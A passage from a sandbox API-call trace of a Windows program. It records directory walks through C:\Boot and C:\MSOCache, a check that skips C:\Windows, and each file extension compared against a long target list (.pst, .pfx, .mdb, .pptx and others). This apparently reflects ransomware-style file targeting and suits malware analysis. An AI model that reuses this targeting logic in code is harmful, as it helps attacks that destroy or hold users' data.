(lpString1=".f4v", lpString2=".mui") returned -1 [0043.082] lstrlenW (lpString=".fido") returned 5 [0043.082] lstrcmpiW (lpString1=".fido", lpString2="e.mui") returned -1 [0043.082] lstrlenW (lpString=".flm") returned 4 [0043.082] lstrcmpiW (lpString1=".flm", lpString2=".mui") returned -1 [0043.082] lstrlenW (lpString=".flv") returned 4 [0043.082] lstrcmpiW (lpString1=".flv", lpString2=".mui") returned -1 [0043.082] lstrlenW (lpString=".frm") returned 4 [0043.082] lstrcmpiW (lpString1=".frm", lpString2=".mui") returned -1 [0043.082] lstrlenW (lpString=".fxg") returned 4 [0043.082] lstrcmpiW (lpString1=".fxg", lpString2=".mui") returned -1 [0043.082] lstrlenW (lpString=".geo") returned 4 [0043.082] lstrcmpiW (lpString1=".geo", lpString2=".mui") returned -1 [0043.082] lstrlenW (lpString=".gif") returned 4 [0043.082] lstrcmpiW (lpString1=".gif", lpString2=".mui") returned -1 [0043.082] lstrlenW (lpString=".grs") returned 4 [0043.082] lstrcmpiW (lpString1=".grs", lpString2=".mui") returned -1 [0043.082] lstrlenW (lpString=".gz") returned 3 [0043.082] lstrcmpiW (lpString1=".gz", lpString2="mui") returned -1 [0043.082] lstrlenW (lpString=".h") returned 2 [0043.082] lstrcmpiW (lpString1=".h", lpString2="ui") returned -1 [0043.082] lstrlenW (lpString=".hdr") returned 4 [0043.082] lstrcmpiW (lpString1=".hdr", lpString2=".mui") returned -1 [0043.082] lstrlenW (lpString=".hpp") returned 4 [0043.082] lstrcmpiW (lpString1=".hpp", lpString2=".mui") returned -1 [0043.082] lstrlenW (lpString=".hta") returned 4 [0043.083] lstrcmpiW (lpString1=".hta", lpString2=".mui") returned -1 [0043.083] lstrlenW (lpString=".htc") returned 4 [0043.083] lstrcmpiW (lpString1=".htc", lpString2=".mui") returned -1 [0043.083] lstrlenW (lpString=".htm") returned 4 [0043.083] lstrcmpiW (lpString1=".htm", lpString2=".mui") returned -1 [0043.083] lstrlenW (lpString=".html") returned 5 [0043.083] lstrcmpiW (lpString1=".html", lpString2="e.mui") returned -1 [0043.083] lstrlenW (lpString=".icb") returned 4 [0043.083] lstrcmpiW (lpString1=".icb", lpString2=".mui") returned -1 [0043.083] lstrlenW (lpString=".ics") returned 4 [0043.083] lstrcmpiW (lpString1=".ics", lpString2=".mui") returned -1 [0043.083] lstrlenW (lpString=".iff") returned 4 [0043.083] lstrcmpiW (lpString1=".iff", lpString2=".mui") returned -1 [0043.083] lstrlenW (lpString=".inc") returned 4 [0043.083] lstrcmpiW (lpString1=".inc", lpString2=".mui") returned -1 [0043.083] lstrlenW (lpString=".indd") returned 5 [0043.083] lstrcmpiW (lpString1=".indd", lpString2="e.mui") returned -1 [0043.083] lstrlenW (lpString=".ini") returned 4 [0043.083] lstrcmpiW (lpString1=".ini", lpString2=".mui") returned -1 [0043.083] lstrlenW (lpString=".iqy") returned 4 [0043.083] lstrcmpiW (lpString1=".iqy", lpString2=".mui") returned -1 [0043.083] lstrlenW (lpString=".j2c") returned 4 [0043.083] lstrcmpiW (lpString1=".j2c", lpString2=".mui") returned -1 [0043.083] lstrlenW (lpString=".j2k") returned 4 [0043.083] lstrcmpiW (lpString1=".j2k", lpString2=".mui") returned -1 [0043.083] lstrlenW (lpString=".java") returned 5 [0043.083] lstrcmpiW (lpString1=".java", lpString2="e.mui") returned -1 [0043.083] lstrlenW (lpString=".jp2") returned 4 [0043.083] lstrcmpiW (lpString1=".jp2", lpString2=".mui") returned -1 [0043.083] lstrlenW (lpString=".jpc") returned 4 [0043.083] lstrcmpiW (lpString1=".jpc", lpString2=".mui") returned -1 [0043.083] lstrlenW (lpString=".jpe") returned 4 [0043.083] lstrcmpiW (lpString1=".jpe", lpString2=".mui") returned -1 [0043.083] lstrlenW (lpString=".jpeg") returned 5 [0043.083] lstrcmpiW (lpString1=".jpeg", lpString2="e.mui") returned -1 [0043.083] lstrlenW (lpString=".jpf") returned 4 [0043.084] lstrcmpiW (lpString1=".jpf", lpString2=".mui") returned -1 [0043.084] lstrlenW (lpString=".jpg") returned 4 [0043.084] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0043.084] lstrlenW (lpString=".jpx") returned 4 [0043.084] lstrcmpiW (lpString1=".jpx", lpString2=".mui") returned -1 [0043.084] lstrlenW (lpString=".js") returned 3 [0043.084] lstrcmpiW (lpString1=".js", lpString2="mui") returned -1 [0043.084] lstrlenW (lpString=".jsf") returned 4 [0043.084] lstrcmpiW (lpString1=".jsf", lpString2=".mui") returned -1 [0043.084] lstrlenW (lpString=".json") returned 5 [0043.084] lstrcmpiW (lpString1=".json", lpString2="e.mui") returned -1 [0043.084] lstrlenW (lpString=".jsp") returned 4 [0043.084] lstrcmpiW (lpString1=".jsp", lpString2=".mui") returned -1 [0043.084] lstrlenW (lpString=".kdc") returned 4 [0043.084] lstrcmpiW (lpString1=".kdc", lpString2=".mui") returned -1 [0043.084] lstrlenW (lpString=".kmz") returned 4 [0043.084] lstrcmpiW (lpString1=".kmz", lpString2=".mui") returned -1 [0043.084] lstrlenW (lpString=".kwm") returned 4 [0043.084] lstrcmpiW (lpString1=".kwm", lpString2=".mui") returned -1 [0043.084] lstrlenW (lpString=".lasso") returned 6 [0043.084] lstrcmpiW (lpString1=".lasso", lpString2="xe.mui") returned -1 [0043.084] lstrlenW (lpString=".lbi") returned 4 [0043.084] lstrcmpiW (lpString1=".lbi", lpString2=".mui") returned -1 [0043.084] lstrlenW (lpString=".lgf") returned 4 [0043.084] lstrcmpiW (lpString1=".lgf", lpString2=".mui") returned -1 [0043.084] lstrlenW (lpString=".lgp") returned 4 [0043.084] lstrcmpiW (lpString1=".lgp", lpString2=".mui") returned -1 [0043.084] lstrlenW (lpString=".log") returned 4 [0043.084] lstrcmpiW (lpString1=".log", lpString2=".mui") returned -1 [0043.084] lstrlenW (lpString=".m1v") returned 4 [0043.084] lstrcmpiW (lpString1=".m1v", lpString2=".mui") returned -1 [0043.084] lstrlenW (lpString=".m4a") returned 4 [0043.084] lstrcmpiW (lpString1=".m4a", lpString2=".mui") returned -1 [0043.084] lstrlenW (lpString=".m4v") returned 4 [0043.084] lstrcmpiW (lpString1=".m4v", lpString2=".mui") returned -1 [0043.084] lstrlenW (lpString=".max") returned 4 [0043.085] lstrcmpiW (lpString1=".max", lpString2=".mui") returned -1 [0043.085] lstrlenW (lpString=".md") returned 3 [0043.085] lstrcmpiW (lpString1=".md", lpString2="mui") returned -1 [0043.085] lstrlenW (lpString=".mda") returned 4 [0043.085] lstrcmpiW (lpString1=".mda", lpString2=".mui") returned -1 [0043.085] lstrlenW (lpString=".mdb") returned 4 [0043.085] lstrcmpiW (lpString1=".mdb", lpString2=".mui") returned -1 [0043.085] lstrlenW (lpString=".mde") returned 4 [0043.085] lstrcmpiW (lpString1=".mde", lpString2=".mui") returned -1 [0043.085] lstrlenW (lpString=".mdf") returned 4 [0043.085] lstrcmpiW (lpString1=".mdf", lpString2=".mui") returned -1 [0043.085] lstrlenW (lpString=".mdw") returned 4 [0043.085] lstrcmpiW (lpString1=".mdw", lpString2=".mui") returned -1 [0043.085] lstrlenW (lpString=".mef") returned 4 [0043.085] lstrcmpiW (lpString1=".mef", lpString2=".mui") returned -1 [0043.085] lstrlenW (lpString=".mft") returned 4 [0043.085] lstrcmpiW (lpString1=".mft", lpString2=".mui") returned -1 [0043.085] lstrlenW (lpString=".mfw") returned 4 [0043.085] lstrcmpiW (lpString1=".mfw", lpString2=".mui") returned -1 [0043.085] lstrlenW (lpString=".mht") returned 4 [0043.085] lstrcmpiW (lpString1=".mht", lpString2=".mui") returned -1 [0043.085] lstrlenW (lpString=".mhtml") returned 6 [0043.085] lstrcmpiW (lpString1=".mhtml", lpString2="xe.mui") returned -1 [0043.085] lstrlenW (lpString=".mka") returned 4 [0043.085] lstrcmpiW (lpString1=".mka", lpString2=".mui") returned -1 [0043.085] lstrlenW (lpString=".mkidx") returned 6 [0043.085] lstrcmpiW (lpString1=".mkidx", lpString2="xe.mui") returned -1 [0043.085] lstrlenW (lpString=".mkv") returned 4 [0043.085] lstrcmpiW (lpString1=".mkv", lpString2=".mui") returned -1 [0043.085] lstrlenW (lpString=".mos") returned 4 [0043.085] lstrcmpiW (lpString1=".mos", lpString2=".mui") returned -1 [0043.085] lstrlenW (lpString=".mov") returned 4 [0043.085] lstrcmpiW (lpString1=".mov", lpString2=".mui") returned -1 [0043.085] lstrlenW (lpString=".mp3") returned 4 [0043.085] lstrcmpiW (lpString1=".mp3", lpString2=".mui") returned -1 [0043.085] lstrlenW (lpString=".mp4") returned 4 [0043.085] lstrcmpiW (lpString1=".mp4", lpString2=".mui") returned -1 [0043.086] lstrlenW (lpString=".mpeg") returned 5 [0043.086] lstrcmpiW (lpString1=".mpeg", lpString2="e.mui") returned -1 [0043.086] lstrlenW (lpString=".mpg") returned 4 [0043.086] lstrcmpiW (lpString1=".mpg", lpString2=".mui") returned -1 [0043.086] lstrlenW (lpString=".mpv") returned 4 [0043.086] lstrcmpiW (lpString1=".mpv", lpString2=".mui") returned -1 [0043.086] lstrlenW (lpString=".mrw") returned 4 [0043.086] lstrcmpiW (lpString1=".mrw", lpString2=".mui") returned -1 [0043.086] lstrlenW (lpString=".msg") returned 4 [0043.086] lstrcmpiW (lpString1=".msg", lpString2=".mui") returned -1 [0043.086] lstrlenW (lpString=".mxl") returned 4 [0043.086] lstrcmpiW (lpString1=".mxl", lpString2=".mui") returned 1 [0043.086] lstrlenW (lpString=".myd") returned 4 [0043.086] lstrcmpiW (lpString1=".myd", lpString2=".mui") returned 1 [0043.086] lstrlenW (lpString=".myi") returned 4 [0043.086] lstrcmpiW (lpString1=".myi", lpString2=".mui") returned 1 [0043.086] lstrlenW (lpString=".nef") returned 4 [0043.086] lstrcmpiW (lpString1=".nef", lpString2=".mui") returned 1 [0043.086] lstrlenW (lpString=".nrw") returned 4 [0043.086] lstrcmpiW (lpString1=".nrw", lpString2=".mui") returned 1 [0043.086] lstrlenW (lpString=".obj") returned 4 [0043.086] lstrcmpiW (lpString1=".obj", lpString2=".mui") returned 1 [0043.086] lstrlenW (lpString=".odb") returned 4 [0043.086] lstrcmpiW (lpString1=".odb", lpString2=".mui") returned 1 [0043.086] lstrlenW (lpString=".odc") returned 4 [0043.086] lstrcmpiW (lpString1=".odc", lpString2=".mui") returned 1 [0043.086] lstrlenW (lpString=".odm") returned 4 [0043.086] lstrcmpiW (lpString1=".odm", lpString2=".mui") returned 1 [0043.086] lstrlenW (lpString=".odp") returned 4 [0043.086] lstrcmpiW (lpString1=".odp", lpString2=".mui") returned 1 [0043.086] lstrlenW (lpString=".ods") returned 4 [0043.086] lstrcmpiW (lpString1=".ods", lpString2=".mui") returned 1 [0043.086] lstrlenW (lpString=".oft") returned 4 [0043.086] lstrcmpiW (lpString1=".oft", lpString2=".mui") returned 1 [0043.086] lstrlenW (lpString=".one") returned 4 [0043.086] lstrcmpiW (lpString1=".one", lpString2=".mui") returned 1 [0043.087] lstrlenW (lpString=".onepkg") returned 7 [0043.087] lstrcmpiW (lpString1=".onepkg", lpString2="exe.mui") returned -1 [0043.087] lstrlenW (lpString=".onetoc2") returned 8 [0043.087] lstrcmpiW (lpString1=".onetoc2", lpString2=".exe.mui") returned 1 [0043.087] lstrlenW (lpString=".opt") returned 4 [0043.087] lstrcmpiW (lpString1=".opt", lpString2=".mui") returned 1 [0043.087] lstrlenW (lpString=".oqy") returned 4 [0043.087] lstrcmpiW (lpString1=".oqy", lpString2=".mui") returned 1 [0043.087] lstrlenW (lpString=".orf") returned 4 [0043.087] lstrcmpiW (lpString1=".orf", lpString2=".mui") returned 1 [0043.087] lstrlenW (lpString=".p12") returned 4 [0043.087] lstrcmpiW (lpString1=".p12", lpString2=".mui") returned 1 [0043.087] lstrlenW (lpString=".p7b") returned 4 [0043.087] lstrcmpiW (lpString1=".p7b", lpString2=".mui") returned 1 [0043.087] lstrlenW (lpString=".p7c") returned 4 [0043.087] lstrcmpiW (lpString1=".p7c", lpString2=".mui") returned 1 [0043.087] lstrlenW (lpString=".pam") returned 4 [0043.087] lstrcmpiW (lpString1=".pam", lpString2=".mui") returned 1 [0043.087] lstrlenW (lpString=".pbm") returned 4 [0043.087] lstrcmpiW (lpString1=".pbm", lpString2=".mui") returned 1 [0043.087] lstrlenW (lpString=".pct") returned 4 [0043.087] lstrcmpiW (lpString1=".pct", lpString2=".mui") returned 1 [0043.087] lstrlenW (lpString=".pcx") returned 4 [0043.087] lstrcmpiW (lpString1=".pcx", lpString2=".mui") returned 1 [0043.087] lstrlenW (lpString=".pdd") returned 4 [0043.087] lstrcmpiW (lpString1=".pdd", lpString2=".mui") returned 1 [0043.087] lstrlenW (lpString=".pdf") returned 4 [0043.087] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0043.087] lstrlenW (lpString=".pdp") returned 4 [0043.087] lstrcmpiW (lpString1=".pdp", lpString2=".mui") returned 1 [0043.087] lstrlenW (lpString=".pef") returned 4 [0043.087] lstrcmpiW (lpString1=".pef", lpString2=".mui") returned 1 [0043.087] lstrlenW (lpString=".pem") returned 4 [0043.087] lstrcmpiW (lpString1=".pem", lpString2=".mui") returned 1 [0043.087] lstrlenW (lpString=".pff") returned 4 [0043.087] lstrcmpiW (lpString1=".pff", lpString2=".mui") returned 1 [0043.087] lstrlenW (lpString=".pfm") returned 4 [0043.088] lstrcmpiW (lpString1=".pfm", lpString2=".mui") returned 1 [0043.088] lstrlenW (lpString=".pfx") returned 4 [0043.088] lstrcmpiW (lpString1=".pfx", lpString2=".mui") returned 1 [0043.088] lstrlenW (lpString=".pgm") returned 4 [0043.088] lstrcmpiW (lpString1=".pgm", lpString2=".mui") returned 1 [0043.088] lstrlenW (lpString=".php") returned 4 [0043.088] lstrcmpiW (lpString1=".php", lpString2=".mui") returned 1 [0043.088] lstrlenW (lpString=".php3") returned 5 [0043.088] lstrcmpiW (lpString1=".php3", lpString2="e.mui") returned -1 [0043.088] lstrlenW (lpString=".php4") returned 5 [0043.088] lstrcmpiW (lpString1=".php4", lpString2="e.mui") returned -1 [0043.088] lstrlenW (lpString=".php5") returned 5 [0043.088] lstrcmpiW (lpString1=".php5", lpString2="e.mui") returned -1 [0043.088] lstrlenW (lpString=".phtml") returned 6 [0043.088] lstrcmpiW (lpString1=".phtml", lpString2="xe.mui") returned -1 [0043.088] lstrlenW (lpString=".pict") returned 5 [0043.088] lstrcmpiW (lpString1=".pict", lpString2="e.mui") returned -1 [0043.088] lstrlenW (lpString=".pl") returned 3 [0043.088] lstrcmpiW (lpString1=".pl", lpString2="mui") returned -1 [0043.088] lstrlenW (lpString=".pls") returned 4 [0043.088] lstrcmpiW (lpString1=".pls", lpString2=".mui") returned 1 [0043.088] lstrlenW (lpString=".pm") returned 3 [0043.088] lstrcmpiW (lpString1=".pm", lpString2="mui") returned -1 [0043.088] lstrlenW (lpString=".png") returned 4 [0043.088] lstrcmpiW (lpString1=".png", lpString2=".mui") returned 1 [0043.088] lstrlenW (lpString=".pnm") returned 4 [0043.088] lstrcmpiW (lpString1=".pnm", lpString2=".mui") returned 1 [0043.088] lstrlenW (lpString=".pot") returned 4 [0043.089] lstrcmpiW (lpString1=".pot", lpString2=".mui") returned 1 [0043.089] lstrlenW (lpString=".potm") returned 5 [0043.089] lstrcmpiW (lpString1=".potm", lpString2="e.mui") returned -1 [0043.089] lstrlenW (lpString=".potx") returned 5 [0043.089] lstrcmpiW (lpString1=".potx", lpString2="e.mui") returned -1 [0043.089] lstrlenW (lpString=".ppa") returned 4 [0043.089] lstrcmpiW (lpString1=".ppa", lpString2=".mui") returned 1 [0043.089] lstrlenW (lpString=".ppam") returned 5 [0043.089] lstrcmpiW (lpString1=".ppam", lpString2="e.mui") returned -1 [0043.089] lstrlenW (lpString=".ppm") returned 4 [0043.089] lstrcmpiW (lpString1=".ppm", lpString2=".mui") returned 1 [0043.089] lstrlenW (lpString=".pps") returned 4 [0043.089] lstrcmpiW (lpString1=".pps", lpString2=".mui") returned 1 [0043.089] lstrlenW (lpString=".ppsm") returned 5 [0043.089] lstrcmpiW (lpString1=".ppsm", lpString2="e.mui") returned -1 [0043.089] lstrlenW (lpString=".ppt") returned 4 [0043.089] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0043.089] lstrlenW (lpString=".pptm") returned 5 [0043.089] lstrcmpiW (lpString1=".pptm", lpString2="e.mui") returned -1 [0043.089] lstrlenW (lpString=".pptx") returned 5 [0043.089] lstrcmpiW (lpString1=".pptx", lpString2="e.mui") returned -1 [0043.089] lstrlenW (lpString=".prn") returned 4 [0043.089] lstrcmpiW (lpString1=".prn", lpString2=".mui") returned 1 [0043.089] lstrlenW (lpString=".ps") returned 3 [0043.089] lstrcmpiW (lpString1=".ps", lpString2="mui") returned -1 [0043.089] lstrlenW (lpString=".psb") returned 4 [0043.089] lstrcmpiW (lpString1=".psb", lpString2=".mui") returned 1 [0043.089] lstrlenW (lpString=".psd") returned 4 [0043.089] lstrcmpiW (lpString1=".psd", lpString2=".mui") returned 1 [0043.089] lstrlenW (lpString=".pst") returned 4 [0043.089] lstrcmpiW (lpString1=".pst", lpString2=".mui") returned 1 [0043.089] lstrlenW (lpString=".ptx") returned 4 [0043.089] lstrcmpiW (lpString1=".ptx", lpString2=".mui") returned 1 [0043.089] lstrlenW (lpString=".pub") returned 4 [0043.089] lstrcmpiW (lpString1=".pub", lpString2=".mui") returned 1 [0043.089] lstrlenW (lpString=".pwm") returned 4 [0043.090] lstrcmpiW (lpString1=".pwm", lpString2=".mui") returned 1 [0043.090] lstrlenW (lpString=".pxr") returned 4 [0043.090] lstrcmpiW (lpString1=".pxr", lpString2=".mui") returned 1 [0043.090] lstrlenW (lpString=".py") returned 3 [0043.090] lstrcmpiW (lpString1=".py", lpString2="mui") returned -1 [0043.090] lstrlenW (lpString=".qt") returned 3 [0043.090] lstrcmpiW (lpString1=".qt", lpString2="mui") returned -1 [0043.090] lstrlenW (lpString=".r3d") returned 4 [0043.090] lstrcmpiW (lpString1=".r3d", lpString2=".mui") returned 1 [0043.090] lstrlenW (lpString=".raf") returned 4 [0043.090] lstrcmpiW (lpString1=".raf", lpString2=".mui") returned 1 [0043.090] lstrlenW (lpString=".rar") returned 4 [0043.090] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0043.090] lstrlenW (lpString=".raw") returned 4 [0043.090] lstrcmpiW (lpString1=".raw", lpString2=".mui") returned 1 [0043.090] FindClose (in: hFindFile=0x7b52a0 | out: hFindFile=0x7b52a0) returned 1 [0043.090] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x3a606e8 | out: hHeap=0x6c0000) returned 1 [0043.090] FindNextFileW (in: hFindFile=0x7b4258, lpFindFileData=0x364fa84 | out: lpFindFileData=0x364fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0043.090] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xfffe) returned 0x3a606e8 [0043.090] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-CN\\*", lpFindFileData=0x364f808 | out: lpFindFileData=0x364f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7b52a0 [0043.091] FindNextFileW (in: hFindFile=0x7b52a0, lpFindFileData=0x364f808 | out: lpFindFileData=0x364f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0043.091] FindNextFileW (in: hFindFile=0x7b52a0, lpFindFileData=0x364f808 | out: lpFindFileData=0x364f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8725b0e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0043.091] FindClose (in: hFindFile=0x7b52a0 | out: hFindFile=0x7b52a0) returned 1 [0043.091] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x3a606e8 | out: hHeap=0x6c0000) returned 1 [0043.091] FindNextFileW (in: hFindFile=0x7b4258, lpFindFileData=0x364fa84 | out: lpFindFileData=0x364fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-HK", cAlternateFileName="")) returned 1 [0043.091] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xfffe) returned 0x3a606e8 [0043.091] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-HK\\*", lpFindFileData=0x364f808 | out: lpFindFileData=0x364f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7b6f98 [0043.199] FindNextFileW (in: hFindFile=0x7b6f98, lpFindFileData=0x364f808 | out: lpFindFileData=0x364f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0043.199] FindNextFileW (in: hFindFile=0x7b6f98, lpFindFileData=0x364f808 | out: lpFindFileData=0x364f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0043.292] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\MSOCache\\All Users") returned 1 [0043.292] lstrlenW (lpString="All Users") returned 9 [0043.292] lstrcmpiW (lpString1="C:\\Windows", lpString2="All Users") returned 1 [0043.292] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xfffe) returned 0x3a606e8 [0043.292] lstrlenW (lpString="C:\\MSOCache\\All Users") returned 21 [0043.292] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\*", lpFindFileData=0x364f808 | out: lpFindFileData=0x364f808*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa5cd3a40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5cd3a40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7b2d98 [0043.297] FindNextFileW (in: hFindFile=0x7b2d98, lpFindFileData=0x364f808 | out: lpFindFileData=0x364f808*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa5cd3a40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5cd3a40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0043.297] FindNextFileW (in: hFindFile=0x7b2d98, lpFindFileData=0x364f808 | out: lpFindFileData=0x364f808*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee38cbf0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0016-0409-1000-0000000FF1CE}-C", cAlternateFileName="{90140~3")) returned 1 [0043.297] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C") returned 62 [0043.297] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C") returned 1 [0043.297] lstrlenW (lpString="{90140000-0016-0409-1000-0000000FF1CE}-C") returned 40 [0043.297] lstrcmpiW (lpString1="C:\\Windows", lpString2="{90140000-0016-0409-1000-0000000FF1CE}-C") returned 1 [0043.297] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xfffe) returned 0x3fd0048 [0043.298] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C") returned 62 [0043.298] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x364f58c | out: lpFindFileData=0x364f58c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee38cbf0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7b56b0 [0043.342] FindNextFileW (in: hFindFile=0x7b56b0, lpFindFileData=0x364f58c | out: lpFindFileData=0x364f58c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee38cbf0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0043.342] FindNextFileW (in: hFindFile=0x7b56b0, lpFindFileData=0x364f58c | out: lpFindFileData=0x364f58c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x393df700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x393df700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xed035930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x102fcbb, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelLR.cab", cAlternateFileName="")) returned 1 [0043.342] lstrlenW (lpString="ExcelLR.cab") returned 11 [0043.342] lstrlenW (lpString=".1cd") returned 4 [0043.342] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0043.342] lstrlenW (lpString=".3ds") returned 4 [0043.342] lstrcmpiW (lpString1=".3ds", lpString2=".cab") returned -1 [0043.342] lstrlenW (lpString=".3fr") returned 4 [0043.342] lstrcmpiW (lpString1=".3fr", lpString2=".cab") returned -1 [0043.342] lstrlenW (lpString=".3g2") returned 4 